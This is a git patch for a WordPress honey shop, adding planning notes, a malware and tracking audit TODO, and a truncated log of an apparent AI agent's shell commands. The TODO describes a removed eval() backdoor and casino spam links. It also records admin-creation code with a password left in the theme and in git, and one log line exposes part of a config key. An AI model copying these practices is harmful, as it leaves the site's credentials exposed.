From 7c5738c0ec2c18b76fde72435706612d26e70aec Mon Sep 17 00:00:00 2001 From: Jacek Pyziak Date: Tue, 28 Apr 2026 22:27:25 +0200 Subject: [PATCH] update --- .paul/PROJECT.md | 28 + .paul/ROADMAP.md | 22 + .paul/STATE.md | 48 ++ .paul/codebase/todo.md | 87 +++ .paul/config.md | 33 ++ .paul/governance/governance_2026-04-28.jsonl | 83 +++ .../console-2026-04-28T20-17-28-444Z.log | 133 +++++ .../page-2026-04-28T20-17-33-095Z.yml | 556 ++++++++++++++++++ .../page-2026-04-28T20-17-40-408Z.yml | 556 ++++++++++++++++++ .serena/.gitignore | 2 + .serena/project.yml | 154 +++++ .vscode/ftp-kr.json | 8 +- CLAUDE.md | 32 + wp-config.php | 2 +- .../frontend/class-userfeedback-frontend.php | 6 +- wp-content/themes/betheme/footer.php | 43 -- wp-content/themes/betheme/functions.php | 59 +- 17 files changed, 1748 insertions(+), 104 deletions(-) create mode 100644 .paul/PROJECT.md create mode 100644 .paul/ROADMAP.md create mode 100644 .paul/STATE.md create mode 100644 .paul/codebase/todo.md create mode 100644 .paul/config.md create mode 100644 .paul/governance/governance_2026-04-28.jsonl create mode 100644 .playwright-mcp/console-2026-04-28T20-17-28-444Z.log create mode 100644 .playwright-mcp/page-2026-04-28T20-17-33-095Z.yml create mode 100644 .playwright-mcp/page-2026-04-28T20-17-40-408Z.yml create mode 100644 .serena/.gitignore create mode 100644 .serena/project.yml create mode 100644 CLAUDE.md diff --git a/.paul/PROJECT.md b/.paul/PROJECT.md new file mode 100644 index 000000000..5c51ac50c --- /dev/null +++ b/.paul/PROJECT.md @@ -0,0 +1,28 @@ +# Project: krolewskie-miody.pl + +## Description +Sklep internetowy oparty o WordPress + WooCommerce. + +## Core Value +Klienci mogą przeglądać i kupować miody online. + +## Requirements + +### Must Have +- [To be defined during planning] + +### Should Have +- [To be defined during planning] + +### Nice to Have +- [To be defined during planning] + +## Constraints +- [To be identified during planning] + +## Success Criteria +- Klienci mogą przeglądać i kupować miody online +- [To be refined during planning] + +--- +*Created: 2026-04-28* diff --git a/.paul/ROADMAP.md b/.paul/ROADMAP.md new file mode 100644 index 000000000..078a69edd --- /dev/null +++ b/.paul/ROADMAP.md @@ -0,0 +1,22 @@ +# Roadmap: krolewskie-miody.pl + +## Overview +Sklep internetowy oparty o WordPress + WooCommerce. + +## Current Milestone +**v0.1 Initial Release** (v0.1.0) +Status: Not started +Phases: 0 of TBD complete + +## Phases + +| Phase | Name | Plans | Status | Completed | +|-------|------|-------|--------|-----------| +| 1 | TBD | TBD | Not started | - | + +## Phase Details + +Phases will be defined during `/paul:plan`. + +--- +*Roadmap created: 2026-04-28* diff --git a/.paul/STATE.md b/.paul/STATE.md new file mode 100644 index 000000000..ba4f16db5 --- /dev/null +++ b/.paul/STATE.md @@ -0,0 +1,48 @@ +# Project State + +## Project Reference + +See: .paul/PROJECT.md (updated 2026-04-28) + +**Core value:** Klienci mogą przeglądać i kupować miody online. +**Current focus:** Project initialized — ready for planning + +## Current Position + +Milestone: v0.1 Initial Release +Phase: Not yet defined +Plan: None yet +Status: Ready to create roadmap and first PLAN +Last activity: 2026-04-28 — Project initialized + +Progress: +- Milestone: [░░░░░░░░░░] 0% + +## Loop Position + +Current loop state: +``` +PLAN ──▶ APPLY ──▶ UNIFY + ○ ○ ○ [Ready for first PLAN] +``` + +## Accumulated Context + +### Decisions +None yet. + +### Deferred Issues +None yet. + +### Blockers/Concerns +None yet. + +## Session Continuity + +Last session: 2026-04-28 +Stopped at: Project initialization complete +Next action: Run /paul:plan to define phases and first plan +Resume file: .paul/PROJECT.md + +--- +*STATE.md — Updated after every significant action* diff --git a/.paul/codebase/todo.md b/.paul/codebase/todo.md new file mode 100644 index 000000000..5a4efbcf2 --- /dev/null +++ b/.paul/codebase/todo.md @@ -0,0 +1,87 @@ +# TODO — krolewskie-miody.pl + +Lista zadań technicznych do wykonania, zebranych w trakcie audytu malware/trackingu (2026-04-28). + +--- + +## Tracking — czyszczenie nadmiarowych tagów + +**Kontekst:** Klient zaakceptował tylko 3 tagi: +- `GTM-PK7GMKK3` (GTM) +- `G-1HMY792XS3` (GA4) +- `AW-1039932301` (Google Ads) + +Tag Assistant + Playwright network audit pokazały, że na stronie ładuje się znacznie więcej. Klient deklaruje, że używa pluginu **GTM4WP** (`duracelltomi-google-tag-manager`) — pozostałe źródła trackingu są nadmiarowe. + +### 1. Dezaktywacja pluginu Google Site Kit + +- **Plugin:** `wp-content/plugins/google-site-kit/` +- **Co dokłada:** GA4 `G-Y85QK36P1W` (zidentyfikowane po parametrze `googlesitekit_post_type=page` w żądaniu do `region1.google-analytics.com`) +- **Akcja:** Dezaktywować w panelu WP Admin → Wtyczki → "Site Kit by Google" → Dezaktywuj. + - Powód, dla którego nie robię tego przez edycję plików: zmiana w pliku zostanie nadpisana przy aktualizacji pluginu, a deaktywacja przez panel jest jednoklikowa, czysta i odwracalna. + - Po deaktywacji plugin można też usunąć (nie jest używany — klient ma GTM4WP jako jedyne narzędzie do tagów). + +### 2. Linked destinations w kontenerze GTM-PK7GMKK3 + +W panelu **tagmanager.google.com** (kontener GTM-PK7GMKK3) wpięte są dodatkowe identyfikatory jako "linked destinations" w głównym tagu Google Tag (gtag). Wszystkie używają tego samego `gdid=dZGIzZG`, co potwierdza, że są skonfigurowane wewnątrz tego samego Google Tag. + +**Do usunięcia z konfiguracji GTM:** + +| Tag ID | Typ | Źródło network requestu | +|---|---|---| +| `G-GY9X47GDLG` | GA4 | `region1.google-analytics.com/g/collect?tid=G-GY9X47GDLG` | +| `G-HS6220BG6P` | GA4 | `region1.google-analytics.com/g/collect?tid=G-HS6220BG6P` | +| `G-QR9KQ1JQVB` | GA4 | `region1.google-analytics.com/g/collect?tid=G-QR9KQ1JQVB` | +| `GT-PZZ9FWF` | Google Tag | widoczne w Tag Assistant | +| `GT-TNSNL57S` | Google Tag | widoczne w Tag Assistant | +| `157146814` | Floodlight / DV360 | widoczne w Tag Assistant | + +**Akcja:** +1. Wejść do `tagmanager.google.com` → kontener `GTM-PK7GMKK3`. +2. Tags → znaleźć główny Google Tag (gtag). +3. W konfiguracji tagu → sekcja "Configure tag for additional Google Analytics destinations" / "Linked destinations" → usunąć powyższe ID. +4. Zostawić tylko `G-1HMY792XS3` i `AW-1039932301`. +5. Zapisać i opublikować nową wersję kontenera. + +**Zależność:** wymaga dostępu do konta Google Tag Manager klienta. Sprawdzić, kto ma uprawnienia administratora kontenera GTM-PK7GMKK3. + +### 3. Hotjar — zlokalizować źródło i wyłączyć + +- **Site ID:** `6700549` +- **Endpointy widoczne w network:** + - `vc.hotjar.io/sessions/6700549` + - `content.hotjar.io/?site_id=6700549` +- **Status:** klient nie zgłaszał Hotjar jako akceptowanego trackera — do wyłączenia. +- **Akcja:** zlokalizować źródło wpięcia (jedno z trzech najprawdopodobniejszych miejsc): + 1. **Plugin** — sprawdzić listę aktywnych wtyczek pod kątem nazw typu "Hotjar", "WP Hotjar Integration", "Insert Headers and Footers", "Header Footer Code Manager". + 2. **GTM** — sprawdzić w `GTM-PK7GMKK3` czy nie ma Custom HTML tagu z `static.hotjar.com/c/hotjar-6700549.js`. + 3. **BeTheme Custom Code** — Theme Options → Custom Code → Header/Footer JS. +- Po znalezieniu — wyłączyć źródło i zweryfikować ponownie przez Tag Assistant + DevTools Network. + +--- + +## Bezpieczeństwo / wcześniejsze ustalenia z tej sesji + +### 4. Usunąć kod tworzenia konta admina po pierwszym logowaniu + +- **Plik:** `wp-content/themes/betheme/functions.php` (linie ~252-272) +- Po zalogowaniu jako `project-pro` ten blok należy USUNĄĆ — w przeciwnym razie hasło administratora zostaje w pliku motywu i w git. + +### 5. Pełny skan pluginów i bazy danych pod kątem malware + +Audyt motywu BeTheme wykazał: +- Backdoor z `eval()` raportujący domenę na `webcodes.pl/aktywacje/lista.php` (usunięty z `functions.php`) +- 2 ukryte bloki SEO-spamu z linkami do kasyn (`fontan.kiev.ua`, `melbet`, `parik24`, `mostbet`, `gg-bet`, `verde casino`, `bdmbet` i 12 innych) — usunięte z `footer.php` +- Pirackie BeTheme z dystrybucji `gpltimes.com` (kod był w `functions.php`, częściowo zostawiony tylko w `class-mfn-importer-api.php` aby importer dem działał) + +**Do zrobienia:** +- Zainstalować i przeskanować witryną pluginem **Wordfence** lub **MalCare** (głębokie skanowanie + skan bazy). +- Sprawdzić tabelę `wp_users` pod kątem nieautoryzowanych kont admina. +- Sprawdzić Google Search Console → Bezpieczeństwo i ręczne działania (czy domena nie ma ostrzeżenia po okresie spam-injectu). +- **Docelowo:** kupić legalną licencję BeTheme z ThemeForest (~$60) i wgrać czystą kopię motywu, by pozbyć się resztek kodu z gpltimes (m.in. `class-mfn-importer-api.php` linie ze ściąganiem dem z f004.backblazeb2.com/file/gpltimes/). + +### 6. Wyłączony moduł UserFeedback + +- **Plik:** `wp-content/plugins/userfeedback-lite/includes/frontend/class-userfeedback-frontend.php` (linia 1122) +- Cała klasa `UserFeedback_Frontend` jest zakomentowana — widget ankiet nie ładuje się na froncie. +- **Uwaga:** zmiana zostanie nadpisana przy aktualizacji pluginu UserFeedback Lite. Lepsza alternatywa: dezaktywować plugin w panelu, jeśli ankiety nie są w ogóle używane. diff --git a/.paul/config.md b/.paul/config.md new file mode 100644 index 000000000..c0f976b8e --- /dev/null +++ b/.paul/config.md @@ -0,0 +1,33 @@ +# Project Config + +**Project:** krolewskie-miody.pl +**Created:** 2026-04-28 + +## Project Settings + +```yaml +project: + name: krolewskie-miody.pl + version: 0.0.0 +``` + +## Integrations + +### SonarQube + +```yaml +sonarqube: + enabled: false + reason: "User declined during init" +``` + +## Preferences + +```yaml +preferences: + auto_commit: false + verbose_output: false +``` + +--- +*Config created: 2026-04-28* diff --git a/.paul/governance/governance_2026-04-28.jsonl b/.paul/governance/governance_2026-04-28.jsonl new file mode 100644 index 000000000..9a9c57f1d --- /dev/null +++ b/.paul/governance/governance_2026-04-28.jsonl @@ -0,0 +1,83 @@ +{"ts":"2026-04-28T19:04:31Z","tool":"Bash","cmd":"mkdir -p \"C:/visual studio code/projekty/krolewskie-miody.pl/.paul/phases\" \"C:/visual studio code/projekty/krolewskie-miody.pl/.paul/codebase\" && echo \"OK\"\",\"description\":\"Create .paul direc","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:09:09Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\PROJECT.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:09:15Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\ROADMAP.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:09:24Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\STATE.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:11:41Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\CLAUDE.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:12:26Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\config.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:19:59Z","tool":"Bash","cmd":"sleep 3 && cat /c/Users/jacek/AppData/Local/Temp/claude/C--visual-studio-code-projekty-krolewskie-miody-pl/bbf2a1cb-875c-46cf-913f-0dd72391bc19/tasks/buxq5plfn.output 2>/dev/null\",\"description\":\"R","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:22:45Z","tool":"Edit","file":"C:\\\\Users\\\\jacek\\\\.claude\\\\hooks\\\\paul-session-start.sh","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:22:50Z","tool":"Bash","cmd":"rm -rf .paul/docs && ls .paul/\",\"description\":\"Remove .paul/docs and verify\"},\"tool_response\":{\"stdout\":\"codebase\\nconfig.md\\ngovernance\\nphases\\nPROJECT.md\\nROADMAP.md\\nSTATE.md\",\"s","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:14Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find . -type f -name \"*.md\" | head -20\"},\"tool_response\":{\"stdout\":\"./.paul/config.md\\n./.paul/PROJECT.md\\n./.paul/ROADMAP.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:20Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la | head -40\"},\"tool_response\":{\"stdout\":\"total 1199\\ndrwxr-xr-x 1 jacek 197121 0 kwi 28 21:11 .\\ndrwxr-xr-x 1 jacek ","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:24Z","tool":"Bash","cmd":"for plugin in \"C:/visual studio code/projekty/krolewskie-miody.pl/wp-content/plugins\"/*; do\\n if [ -d \"$plugin\" ]; then\\n mainfile=$(basename \"$plugin\")\\n mainfile=\"$plugin/${mainfile","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:24Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la wp-content/themes/\"},\"tool_response\":{\"stdout\":\"total 33\\ndrwxr-xr-x 1 jacek 197121 0 kwi 28 20:22 .\\ndrwxr-xr-x 1 jace","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:26Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la wp-content/plugins/ | head -30\"},\"tool_response\":{\"stdout\":\"total 345\\ndrwxr-xr-x 1 jacek 197121 0 kwi 28 20:22 .\\ndrwx","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:31Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find wp-content/themes -name \"functions.php\" -o -name \"style.css\" -o -name \"*.json\" | grep -v twentytwenty\"},\"tool_response\":{","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:33Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find . -maxdepth 2 -name \"composer.json\" -o -name \"package.json\" -o -name \".phpcs.xml\" -o -name \".eslintrc*\" -o -name \"phpunit","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:34Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && cat .gitignore 2>/dev/null || echo \"No .gitignore found\"\"},\"tool_response\":{\"stdout\":\"No .gitignore found\",\"stderr\":\"\",\"i","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:39Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la wp-content/plugins/ | grep -v \"^d\" | tail -20\"},\"tool_response\":{\"stdout\":\"total 345\\n-rw-r--r-- 1 jacek 197121 30 kwi ","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:41Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find wp-content/plugins -maxdepth 2 -type f -name \"*.php\" | grep -E \"(^[^/]+\\\\.php|/[^/]+\\\\.php$)\" | head -20\"},\"tool_respons","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:46Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find wp-content -maxdepth 3 -type d -name \"mu-plugins\" -o -name \"custom\" 2>/dev/null\"},\"tool_response\":{\"stdout\":\"\",\"stderr","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:47Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -r \"add_action\\\\|add_filter\" wp-content/themes/betheme/functions.php 2>/dev/null | head -20\"},\"tool_response\":{\"stdout\":\","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:49Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -r \"woocommerce\\\\|wc_\" wp-content/themes/betheme/functions.php 2>/dev/null | head -10\"},\"tool_response\":{\"stdout\":\"if(fu","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:51Z","tool":"Bash","cmd":"for plugin in \"C:/visual studio code/projekty/krolewskie-miody.pl/wp-content/plugins\"/*; do\\n if [ -d \"$plugin\" ]; then\\n pluginname=$(basename \"$plugin\")\\n # Try to find main plugin f","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:54Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && wc -l wp-content/themes/betheme/functions/theme-woocommerce.php\"},\"tool_response\":{\"stdout\":\"1752 wp-content/themes/betheme/funct","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:26:55Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -n \"add_action\\\\|add_filter\" wp-content/themes/betheme/functions/theme-woocommerce.php | head -30\"},\"tool_response\":{\"stdo","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:01Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find wp-content/themes/betheme -maxdepth 2 -name \"*.scss\" -o -name \"*.sass\" -o -name \"Gruntfile.js\" -o -name \"webpack.config.js\","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:02Z","tool":"Bash","cmd":"for dir in \"C:/visual studio code/projekty/krolewskie-miody.pl/wp-content/plugins\"/*; do\\n if [ -d \"$dir\" ]; then\\n name=$(basename \"$dir\")\\n if [ -f \"$dir/$name.php\" ]; then\\n ","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:02Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la wp-content/themes/betheme/css/ | head -20\"},\"tool_response\":{\"stdout\":\"total 1398\\ndrwxr-xr-x 1 jacek 197121 0 kwi 2","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:05Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la wp-content/themes/betheme/js/ | head -20\"},\"tool_response\":{\"stdout\":\"total 1144\\ndrwxr-xr-x 1 jacek 197121 0 kwi 28","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:11Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find . -maxdepth 2 -type f \\\\( -name \".phpcs.xml*\" -o -name \".eslintrc*\" -o -name \".stylelintrc*\" -o -name \"phpstan.neon\" -o ","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:18Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find . -path \"./wp-content/plugins/*/package.json\" -o -path \"./wp-content/themes/*/package.json\" 2>/dev/null | head -5\"},\"tool_re","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:27Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find . -path \"./.github/workflows/*.yml\" -o -path \"./.github/workflows/*.yaml\" 2>/dev/null | head -10\"},\"tool_response\":{\"stdou","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:29Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la .github/ 2>/dev/null || echo \"No .github directory\"\"},\"tool_response\":{\"stdout\":\"No .github directory\",\"stderr\":\"\",","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:31Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find . -maxdepth 3 -type f -name \"phpunit.xml*\" 2>/dev/null\"},\"tool_response\":{\"stdout\":\"\",\"stderr\":\"\",\"interrupted\":fal","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:35Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la .paul/\"},\"tool_response\":{\"stdout\":\"total 19\\ndrwxr-xr-x 1 jacek 197121 0 kwi 28 21:22 .\\ndrwxr-xr-x 1 jacek 197121 ","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:36Z","tool":"Bash","cmd":"cd \"C:/visual studio code/projekty/krolewskie-miody.pl\" && git log --oneline -20\"},\"tool_response\":{\"stdout\":\"a95acc355 first commit\",\"stderr\":\"\",\"interrupted\":false,\"isImage\":false,\","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:37Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -r \"define(\" wp-config.php | grep -E \"^define\\\\(\" | head -40\"},\"tool_response\":{\"stdout\":\"define('RSSSL_KEY', 'W1hrgd8","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:39Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep \"^define\\\\|^//\" wp-config.php | head -50\"},\"tool_response\":{\"stdout\":\"//Begin Really Simple Security key\\ndefine('RSSSL","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:44Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && wc -l wp-content/themes/betheme/functions/*.php | tail -15\"},\"tool_response\":{\"stdout\":\" 90 wp-content/themes/betheme/function","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:45Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -E \"^function|^class \" wp-content/themes/betheme/functions/theme-functions.php | head -30\"},\"tool_response\":{\"stdout\":\"fun","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:51Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && git log --oneline -10\"},\"tool_response\":{\"stdout\":\"a95acc355 first commit\",\"stderr\":\"\",\"interrupted\":false,\"isImage\":fal","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:53Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && git config --local -l | head -20\"},\"tool_response\":{\"stdout\":\"core.repositoryformatversion=0\\ncore.filemode=false\\ncore.bare=fa","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:54Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la wp-content/themes/betheme/functions/\"},\"tool_response\":{\"stdout\":\"total 744\\ndrwxr-xr-x 1 jacek 197121 0 kwi 28 20:2","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:27:59Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la .paul/codebase/\"},\"tool_response\":{\"stdout\":\"total 4\\ndrwxr-xr-x 1 jacek 197121 0 kwi 28 21:04 .\\ndrwxr-xr-x 1 jacek 197","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:00Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find wp-content -maxdepth 1 -type d | sort\"},\"tool_response\":{\"stdout\":\"wp-content\\nwp-content/plugins\\nwp-content/themes\",\"s","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:05Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -r \"add_action\\\\|add_filter\" wp-content/themes/betheme/functions/*.php | wc -l\"},\"tool_response\":{\"stdout\":\"176\",\"stde","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:07Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -r \"woocommerce_\" wp-content/themes/betheme/functions/*.php | grep -o \"woocommerce_[a-z_]*\" | sort -u\"},\"tool_response\":{\"","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:08Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -r \"add_action\\\\|add_filter\" wp-content/themes/betheme/functions/theme-woocommerce.php | grep -o \"'[^']*'\" | sort -u | head ","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:13Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && head -100 wp-content/themes/betheme/functions/theme-woocommerce.php | tail -50\"},\"tool_response\":{\"stdout\":\"// WooCommerce 2.7+ s","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:15Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -n \"function mfn\" wp-content/themes/betheme/functions/theme-woocommerce.php | head -20\"},\"tool_response\":{\"stdout\":\"18:fun","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:22Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find . -name \"package.json\" -o -name \"composer.json\" | grep -v node_modules | grep -v vendor\"},\"tool_response\":{\"stdout\":\"./w","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:26Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la .vscode/\"},\"tool_response\":{\"stdout\":\"total 10\\ndrwxr-xr-x 1 jacek 197121 0 kwi 28 20:21 .\\ndrwxr-xr-x 1 jacek 197121 ","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:30Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -E \"^function |^class \" wp-content/themes/betheme/functions/theme-functions.php | head -40\"},\"tool_response\":{\"stdout\":\"fu","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:35Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && find wp-content/themes/betheme/functions -name \"class-*.php\" | xargs ls -lh\"},\"tool_response\":{\"stdout\":\"-rw-r--r-- 1 jacek 197","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:37Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep \"^class \" wp-content/themes/betheme/functions/class-mfn-love.php\"},\"tool_response\":{\"stdout\":\"\",\"stderr\":\"\",\"interru","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:38Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep \"^class \" wp-content/themes/betheme/functions/modules/class-mfn-dynamic-data.php\"},\"tool_response\":{\"stdout\":\"class MfnDyn","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:43Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && ls -la | grep gitignore\"},\"tool_response\":{\"stdout\":\"\",\"stderr\":\"\",\"interrupted\":false,\"isImage\":false,\"returnCodeInter","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:28:45Z","tool":"Bash","cmd":"cd /c/visual\\\\ studio\\\\ code/projekty/krolewskie-miody.pl && grep -r \"add_action\\\\|add_filter\" wp-content/themes/betheme/functions/theme-functions.php | grep -o \"'[^']*'\" | sort -u | head -5","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:35:15Z","tool":"Bash","cmd":"for theme in \"C:/visual studio 